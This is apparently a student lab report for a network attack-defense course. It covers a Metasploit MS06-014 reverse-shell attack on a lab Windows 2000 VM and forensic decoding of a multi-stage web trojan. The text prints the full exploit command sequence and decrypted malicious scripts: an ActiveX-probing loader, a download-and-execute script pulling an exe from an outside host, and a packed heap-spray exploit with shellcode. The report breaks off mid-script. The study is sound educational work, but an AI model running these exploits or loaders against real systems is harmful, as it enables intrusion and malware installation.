20252916 2025-2026-2 《网络攻防实践》第11周作业
20252916 2025-2026-2 《网络攻防实践》第11周作业
1.知识点梳理与总结
1.1 实践内容
一、web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
实验步骤:
①选择使用Metasploit中的MS06-014渗透攻击模块
②选择PAYLOAD为任意远程Shell连接
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
二、取证分析实践—网页木马攻击场景分析
实践过程:
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到
http://192.168.68.253/scom/hashed/
哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。
三、攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
1.2 知识点总结
- Web 浏览器渗透攻击与服务端攻击的区别
Web 浏览器渗透攻击属于客户端攻击,与传统服务端攻击不同。服务端攻击主要针对服务器开放的端口和服务,例如 Web 服务、数据库服务、文件共享服务等;而浏览器端攻击主要针对用户主机上的浏览器、ActiveX 控件、插件、脚本解释器或旧版组件。
浏览器端漏洞能否成功触发,通常取决于以下因素:
- 用户是否访问了攻击者构造的恶意网页;
- 浏览器版本是否与漏洞模块匹配;
- 系统补丁状态是否满足漏洞触发条件;
- JavaScript、ActiveX 控件是否允许运行;
- 漏洞触发后浏览器进程是否稳定;
- payload 是否能够正常反连攻击机。
因此,浏览器端漏洞利用具有一定不稳定性,可能出现页面能访问但没有 session、浏览器崩溃、只触发部分漏洞路径等现象。
- Metasploit 浏览器端漏洞利用模块
本次实验主要使用了两个 Metasploit 浏览器端漏洞利用模块:
| 模块 | 对应漏洞 | 主要攻击对象 | 实验作用 |
|---|---|---|---|
exploit/windows/browser/ie_createobject |
MS06-014 | 旧版 IE / ActiveX / COM 组件 | 构造恶意网页,触发 CreateObject 相关漏洞 |
exploit/windows/browser/ms06_055_vml_method |
MS06-055 | 旧版 IE / VML 组件 | 构造包含 VML 利用代码的恶意网页 |
在 Metasploit 中,浏览器端漏洞利用通常需要设置:
SRVHOST:恶意网页服务监听地址
SRVPORT:恶意网页服务端口
URIPATH:恶意网页路径
Payload:漏洞触发后执行的载荷
LHOST:payload 回连的攻击机 IP
LPORT:payload 回连端口
- 网页木马通常不会把完整攻击逻辑直接写在入口页面中,而是采用多层加载方式。常见结构包括:
入口页面
↓
隐藏 iframe
↓
外部 JavaScript
↓
二阶段漏洞脚本
↓
下载 EXE / CAB
↓
最终木马执行
常见加载方式包括:
iframe隐藏加载其他网页;script标签加载外部 JavaScript;object标签或 ActiveXObject 创建控件对象;- JavaScript 动态生成 iframe 或 script;
- 根据目标主机控件环境选择不同二阶段脚本。
- JavaScript 常见混淆方式
网页木马经常使用 JavaScript 混淆隐藏真实逻辑,常见方式包括:
| 混淆方式 | 特征 | 本实验中的体现 |
|---|---|---|
| 十六进制字符串 | \x68\x74\x74\x70 |
1.js 中的字符串混淆 |
| 八进制转义 | \57\52\45... |
pps.js 的原始混淆 |
| Packer 混淆 | eval(function(p,a,c,k,e,d){...}) |
b.js |
| Base64 编码 | 大段不可读字符串 | 1299644.js |
| XXTEA 加密 | xxtea_decrypt(...) |
1299644.js |
unescape("%u....") |
%u9090、shellcode |
b.js、pps.js |
eval() 动态执行 |
运行时恢复真实代码 | 多个 JS 脚本中均出现 |
这些混淆方式的目的主要是隐藏真实 URL、漏洞利用代码、shellcode 和下载地址,增加分析难度,并绕过简单的特征检测。
- CyberChef 工具介绍与使用
CyberChef 是一个常用的在线数据处理和解码分析工具,常用于网络安全、取证分析和恶意代码分析。它可以完成多种数据转换操作,例如:
- Base64 编码 / 解码;
- 十六进制转换;
- 八进制转换;
- URL 编码 / 解码;
- JavaScript 转义还原;
- 哈希计算;
- 加密 / 解密;
- 字符串提取;
- URL 提取;
- 代码格式化。
CyberChef 的特点是使用“Recipe”方式组合多个操作。分析人员可以把多个解码步骤按顺序拖入 Recipe 区域,然后将待分析内容粘贴到 Input 区,最终在 Output 区查看处理结果。
CyberChef 可以直接在线使用,常用地址为:
https://gchq.github.io/CyberChef/
在实验任务 2 中,CyberChef 主要用于网页木马脚本的解码和解密,帮助从混淆代码中还原真实逻辑。
CyberChef 在本实验中起到了连接“混淆代码”和“可读逻辑”的作用。通过 CyberChef,可以将看似不可读的 Base64、XXTEA、八进制转义、十六进制字符串和 shellcode 片段逐层还原,从而帮助分析人员发现隐藏 URL、漏洞利用逻辑、控件名称和下载地址。
因此,CyberChef 是网页木马取证分析中的重要辅助工具,尤其适合处理脚本混淆、编码转换和字符串提取任务。
1.3 实验环境
| 角色 | 主机标识 | IP 地址 |
|---|---|---|
| 攻击机 | Kali2025 | 192.168.200.9 |
| 靶机 | Win2kServer | 192.168.200.10 |
2.实验过程
2.1 web浏览器渗透攻击
-
为了确保实验顺利,首先把Win2kServer的虚拟机克隆一份,然后让他和kali2025虚拟机在一个网段内并且可以联通。
查看kali和win2k的IP地址
kali的ip为
192.168.200.9win2k的ip为
192.168.200.12

-
测试二者连通性


可以看到二者可以正常联通,下面正式开始实验一。
-
在kali攻击机中启动Metasploit 控制台
msfconsole
-
使用
search MS06-014搜索 MS06-014 相关的漏洞利用模块
-
选择exploit/windows/browser/ie_createobject模块,这个模块它对应 MS06-014 Microsoft Internet Explorer COM CreateObject Code Execution,利用 IE 中 vulnerable ActiveX objects 相关问题实现代码执行。
进入模块
use exploit/windows/browser/ie_createobject查看模块参数
show options
-
相关参数含义如下
参数 含义 SRVHOSTMetasploit 恶意网页服务监听地址 SRVPORT恶意网页服务端口 URIPATH靶机浏览器访问的恶意路径 payload漏洞触发后执行的载荷 LHOST反向 shell 连接回来的攻击机 IP LPORT反向 shell 连接回来的端口 -
使用反向Shell设置Payload
set payload windows/shell/reverse_tcp靶机访问恶意网页后,主动反连 Kali,Kali 获得一个 Windows 命令行 Shell。
设置网页服务器参数
SRVHOST 192.168.200.9 Kali 用这个 IP 提供恶意网页 SRVPORT 8082 网页服务端口 URIPATH /ms06014 恶意网页路径设置反向 Shell 监听参数
set LHOST 192.168.200.9 set LPORT 5544设置辅助参数
set ExitOnSession false set VERBOSE true
检查最终配置
show options
-
启动 exploit
exploit -j
-
在 Windows 靶机上打开 IE 浏览器,访问:
http://192.168.200.9:8082/ms06014
-
在 Kali 的 Metasploit 中查看是否获得Session
sessions -l
进入 session:
sessions -i 1
-
进入 session 后,输入:
ipconfig 显示的是 Windows 靶机的 IP 信息 ver 查看系统版本。 dir 查看当前目录
实验结果显示,kali的Metasploit 成功建立与 Windows 2000 靶机的命令 shell 会话,kali获得了靶机上的远程命令执行能力。并能够通过该 session 执行
ipconfig等命令。实验一圆满完成。
2.2 取证分析实践—网页木马攻击场景分析
-
用文本编辑器打开start.html,搜索关键词new09.htm,可以看到有一个iframe调用了new09.htm。

-
由于本地获得的是单独下载的文件,而不是完整 Web 站点目录,无法直接通过原始目录下载 new09.htm。但结合学习通中的实验资料可以补全 new09.htm 的实际内容。该文件内容核心是两条外部资源加载语句。

-
可以看到该文件做了两件事:
1. 通过隐藏 iframe 加载 kl.htm 2. 通过 script 标签加载 1299644.js对于http://aa.18dd.net/aa/kl.htm和http://js.users.51.la/1299644.js计算MD5的值
在kali中执行
echo -n "http://aa.18dd.net/aa/kl.htm" | md5sum echo -n "http://js.users.51.la/1299644.js" | md5sum
-
随后在hashed文件夹中寻找这两个MD5码为命名的文件


-
其中一个文件内容较直观,另一个文件中包含大量混淆代码。通过观察函数名和代码结构,可判断该脚本使用 Base64 与 XXTEA 组合对主要内容进行了隐藏。
-
分析1299644.js中发现关键语句
t = utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));这句话说明它的解密流程是:
Base64 解码 ↓ XXTEA 解密 ↓ UTF 字符转换其中:
\x73\x63\x72\x69\x70\x74
所以 XXTEA 密钥是:
script -
文件中的内容如下
点击展开文件内容
t = "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"; t = utf8to16(xxtea_decrypt(base64decode(t), "\x73\x63\x72\x69\x70\x74"));用 https://gchq.github.io/CyberChef的在线CyberChef 工具做:
- 输入密文变量
t的内容; - 添加
From Base64; - 添加
XXTEA Decrypt; - Key 填:
script; - 视情况再做字符编码转换或 JavaScript 字符串反转义。


解码结果如下
<script> eval("function init(){document.write();} window.onload = init; if(document.cookie.indexOf('OK')==-1){ try{var e; var ado=(document.createElement("object")); ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var as=ado.createobject("Adodb.Stream","")} catch(e){}; finally{ var expires=new Date(); expires.setTime(expires.getTime()+24*60*60*1000); document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString(); if(e!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")} else{ try{var f;var storm=new ActiveXObject("MPS.StormPlayer");} catch(f){}; finally{if(f!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}} try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");} catch(g){}; finally{if(g!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}} try{var h;var obj=new ActiveXObject("BaiduBar.Tool");} catch(h){}; finally{if(h!="[object Error]"){ obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}} }}}") </script> - 输入密文变量
-
解密后得到的脚本会检测多个 ActiveX/旧控件,并继续加载或下载:
URL 作用 MD5 http://aa.18dd.net/aa/1.jsADODB.Stream 相关下载执行脚本 5d7e9058a857aa2abee820d5473c5fa4http://aa.18dd.net/aa/b.jsStormPlayer 控件相关利用脚本 3870c28cc279d457746b3796a262f166http://aa.18dd.net/aa/pps.jsPPS / PowerPlayer 控件相关利用脚本 5f0b8bf0385314dbe0e5ec95e6abedc2http://down.18dd.net/bb/bd.cabBaiduBar.Tool 下载的 CAB/EXE 1c1d7b3539a617517c49eee4120783b2这说明攻击者不是只针对一个漏洞,而是通过网页挂马加载器同时探测多个旧控件,提高命中概率。
同样的,我们继续在hashed文件中寻找这4个MD5码为命名的文件
-
分析
1.js代码如下:
eval("\x76\x61\x72\x20\x75\x72\x6c\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x30\x31\x34\x2e\x65\x78\x65\x22\x3b\x74\x72\x79\x7b\x76\x61\x72\x20\x78\x6d\x6c\x3d\x61\x64\x6f\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50\x22\x2c\x22\x22\x29\x3b\x78\x6d\x6c\x2e\x4f\x70\x65\x6e\x0d\x0a\x0d\x0a\x28\x22\x47\x45\x54\x22\x2c\x75\x72\x6c\x2c\x30\x29\x3b\x78\x6d\x6c\x2e\x53\x65\x6e\x64\x28\x29\x3b\x61\x73\x2e\x74\x79\x70\x65\x3d\x31\x3b\x61\x73\x2e\x6f\x70\x65\x6e\x28\x29\x3b\x61\x73\x2e\x77\x72\x69\x74\x65\x28\x78\x6d\x6c\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79\x29\x3b\x70\x61\x74\x68\x3d\x22\x2e\x2e\x5c\x5c\x6e\x74\x75\x73\x65\x72\x2e\x63\x6f\x6d\x22\x3b\x61\x73\x2e\x73\x61\x76\x65\x74\x6f\x66\x69\x6c\x65\x28\x70\x61\x74\x68\x2c\x32\x29\x3b\x61\x73\x2e\x63\x6c\x6f\x73\x65\x0d\x0a\x0d\x0a\x28\x29\x3b\x76\x61\x72\x20\x73\x68\x65\x6c\x6c\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x22\x2c\x22\x22\x29\x3b\x73\x68\x65\x6c\x6c\x2e\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x28\x22\x63\x6d\x64\x2e\x65\x78\x65\x22\x2c\x22\x2f\x63\x20\x22\x2b\x70\x61\x74\x68\x2c\x22\x22\x2c\x22\x6f\x70\x65\x6e\x22\x2c\x30\x29\x7d\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d")通过https://www.freetoolhouse.com/other-tool/hex-to-string在线工具进行解密

1.js代码如下点击展开
var url = "http://down.18dd.net/bb/014.exe"; try { var xml = ado.CreateObject("Microsoft.XMLHTTP", ""); xml.Open("GET", url, 0); xml.Send(); as.type = 1; as.open(); as.write(xml.responseBody); path = "..\\ntuser.com"; as.savetofile(path, 2); as.close(); var shell = ado.createobject("Shell.Application", ""); shell.ShellExecute("cmd.exe", "/c " + path, "", "open", 0); } catch (e) {}结合AI帮助分析可以知道
1.js的主要功能不是直接攻击浏览器,而是作为下载执行器。它通过Microsoft.XMLHTTP下载远程可执行文件,再通过ADODB.Stream写入本地,并调用Shell.Application执行该文件。 -
分析
b.jsb.js代码如下,点击展开
eval( (function (p, a, c, k, e, d) { e = function (c) { return c; }; if (!"".replace(/^/, String)) { while (c--) { d[c] = k[c] || c; } k = [ function (e) { return d[e]; }, ]; e = function () { return "\\w+"; }; c = 1; } while (c--) { if (k[c]) { p = p.replace(new RegExp("\\b" + e(c) + "\\b", "g"), k[c]); } } return p; })( '5 1=29("%10%10");5 26=20;5 14=29("%82%3"+"%81%10%83%84%87%3%86%85"+"%79%78%72%22%71%70%69%73"+"%74%77%17%76%75%88%89%103"+"%17%102%101%104%105%108%107%106"+"%100%99%93%92%25%91%68%94"+"%95%98%97%25%96%109%63%37"+"%31%39%41%40%19%42%43%45"+"%38%3%44%46%35%12%32%22"+"%33%36%34%3%19%67%61%60"+"%59%62%47%66%65%64%58%57"+"%16%24%51%50%49%24%48%16"+"%52%53%56%55%54%90%152%168"+"%167%166%165%110%170%173%12%172"+"%171%164%12%157%156%155%154%158"+"%159%162%161%160%175%185%189%188"+"%187%191%193%195%194%23%192%190"+"%186%179%178%177%176%180%181%184"+"%183%182%174%153%18%11%125%124"+"%15%123%122%126%127%130%21%129"+"%128%121%120%114%18%11%113%112"+"%111%115%116%119%118%117%21%131"+"%132%146%11%144%147%148%151%150%149%143%142%136%23%135%134%133%137%15%3");5 4=26+14.6;13(1.6<4)1+=1;28=1.30(0,4);2=1.30(0,1.6-4);13(2.6+4<138)2=2+2+28;27=141 140();139(7=0;7<169;7++)27[7]=2+14;5 8=\'\';13(8.6<145)8+="\\9\\9\\9\\9";163.80(8)', 10, 196, "|bigblock|block|u0000|slackspace|var|length|x|buffer|x0a|u9090|u0041|u57ff|while|shellcode|u6578|u4320|ufb03|u7972|uc683||u6461|ud88b|u7465|u4343|u468b|headersize|memory|fillblock|unescape|substring|u008b|u5afc|u016a|u0057|u5652|ue859|uc103|u6ae8|uc303|uf78b|ufa8b|u8b0e|u6ad0|u8300|u5904|u0dc6|u5e80|u03c6|u632f|u03c7|u6643|u206a|uff53|u5c03|u04c7|uec57|u646d|u6303|ufa75|u803e|u8046|u3680|u02e1|uc7dc|u8b40|uec83|u5613|ud1c3|u1e74|u8b3c|u738b|u0840|u0378|u8bf3|u3314|u4e8b|u207e|u8bad|u1c70|rawParse|u9000|uf3e9|u5a90|ua164|u8b0c|u408b|u0030|u56ed|u5157|u2e61|u0324|ucd8b|u5e5f|u03e1|u33c1|u031c|u088b|u66c9|u59e9|ue245|u0e6a|uf28b|u3f8b|uf359|u74a6|ufcef|u835f|u5908|uc1c3|u50c0|u6e6f|u6d6c|u7275|u6172|u5500|u4c52|u6f6c|u6e77|u6f44|u6269|u4c64|u7845|u0063|u456e|u6957|u7469|u6854|u616f|u4c00|u6572|u6f54|u6946|u6662|u2f62|u622f|u6e2e|u652e|0x40000|for|Array|new|u6464|u3831|u7468|4068|u656c|u7074|u2f3a|u2e6e|u776f|u642f|uc765|u6f74|uff58|u0040|u2451|u68f0|u33d0|uacc0|u5251|uf975|uc085|storm|u5300|u3300|u0065|u7804|u0344|300|u5350|u6adc|u8bfc|u5056|u6365|u5356|u6547|u0073|u7365|u7264|u5374|u7379|u7269|u446d|u6574|ud2ff|u6441|u33ee|ue2ab|u595a|u636f|uc3c0|u7250|u0ce8|u47ff|uffff".split( "|", ), 0, {}, ), );
借助AI大模型进行解密并分析

该脚本是经过 Packer 混淆的 StormPlayer 控件漏洞利用代码。解包后可见其通过 %u9090 构造 NOP sled,通过 shellcode = unescape(...) 内嵌 shellcode,并利用大量数组进行 heap spray。随后脚本构造特定长度的 buffer,调用 storm.rawParse(buffer) 触发 StormPlayer 控件漏洞。对 shellcode 中的字符串进一步还原后,可以发现其调用 urlmon、URLDownloadToFileA、WinExec 等 API,最终指向下载地址 http://down.18dd.net/bb/bf.exe。因此,该脚本的主要功能是利用 StormPlayer ActiveX 控件漏洞下载并执行 bf.exe 木马载荷。
11.分析pps.js
代码如下:
eval("\57\52\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\6